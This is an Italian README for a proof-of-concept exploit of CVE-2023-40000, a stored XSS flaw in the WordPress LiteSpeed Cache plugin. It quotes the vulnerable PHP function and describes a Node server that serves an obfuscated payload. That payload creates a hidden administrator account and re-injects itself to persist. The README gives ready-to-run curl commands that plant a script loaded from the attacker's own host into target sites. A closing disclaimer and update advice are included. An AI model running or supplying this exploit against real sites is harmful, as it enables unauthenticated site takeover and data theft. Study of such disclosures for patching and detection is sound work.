
PoC per la vulnerabilità XSS nel plugin WordPress LiteSpeed Cache (CVE-2023-40000) che consente di ottenere privilegi elevati. Include codice, spiegazioni e mitigazioni.
PoC per la vulnerabilità XSS nel plugin WordPress LiteSpeed Cache che consente l'elevazione dei privilegi. Questa vulnerabilità è stata corretta nella versione 5.7.0.1 del plugin e le è stato assegnato CVE-2023-40000. Secondo la pagina della vista avanzata del plugin, circa il 35% degli utenti sta ancora utilizzando una versione vulnerabile (<5.7.0.1), il che equivale a circa 1,8 milioni di siti web.
A causa della mancanza di sanificazione dell'input nella funzione update_cdn_status, gli utenti (non autenticati) sono in grado di inviare una richiesta POST con un valore del modulo _msg infetto che viene memorizzato e poi visualizzato nella sezione di amministrazione di WordPress. Questo può consentire a chiunque di creare account amministrativi, aumentare i propri privilegi o rubare informazioni sensibili inviando una sola richiesta POST non autenticata. La funzione vulnerabile può essere trovata qui o di seguito, e la funzione Admin_Display::error può essere trovata qui.
/**
* Callback for updating Auto CDN Setup status after run
*
* @since 4.7
* @access public
*/
public function update_cdn_status() {
if ( !isset( $_POST[ 'success' ] ) || !isset( $_POST[ 'result' ] ) ) {
self::save_summary( array( 'cdn_setup_err' => __( 'Received invalid message from the cloud server. Please submit a ticket.', 'litespeed-cache' ) ) );
return self::err( 'lack_of_param' );
}
if (!$_POST[ 'success' ]) {
self::save_summary( array( 'cdn_setup_err' => $_POST[ 'result' ][ '_msg' ] ) );
Admin_Display::error( __( 'There was an error during CDN setup: ', 'litespeed-cache' ) . $_POST[ 'result' ][ '_msg' ] );
} else {
$this->_process_cdn_status($_POST[ 'result' ]);
}
return self::ok();
}
La prova di concetto in questo repository contiene un server express NodeJS progettato per offuscare e consegnare il payload XSS, catturando anche i ping e i dati in arrivo. Lo script del payload mostra le potenziali azioni degli attaccanti che sfruttano questa vulnerabilità: crea un account amministrativo con nome utente "wp-config-user" e password "somepassword123". Il payload XSS, che è anche mascherato come admin-bar-reloaded.min, nasconde il popup XSS iniziale al caricamento, nasconde completamente l'utente creato nella pagina di amministrazione users.php e ripete la richiesta POST iniziale per mantenere uno XSS persistente memorizzato.
npm install per installare le dipendenze.node index.js.Utilizzare il seguente comando cURL per inviare la richiesta POST all'endpoint vulnerabile:
curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"
curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" ^
-H "Content-Type: application/x-www-form-urlencoded" ^
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"
I contenuti di questo repository sono forniti strettamente a scopo educativo e di ricerca. Non sono responsabile di alcun uso improprio o attività illegale derivante dall'uso di questa prova di concetto. Inoltre, è stato emesso un avviso sulla pagina del plugin LiteSpeed Cache che consiglia a tutti gli utenti di aggiornare il proprio software a causa di questa vulnerabilità nota. Assicurarsi che le proprie installazioni siano aggiornate alla versione 5.7.0.1 o successiva per mitigare questo problema.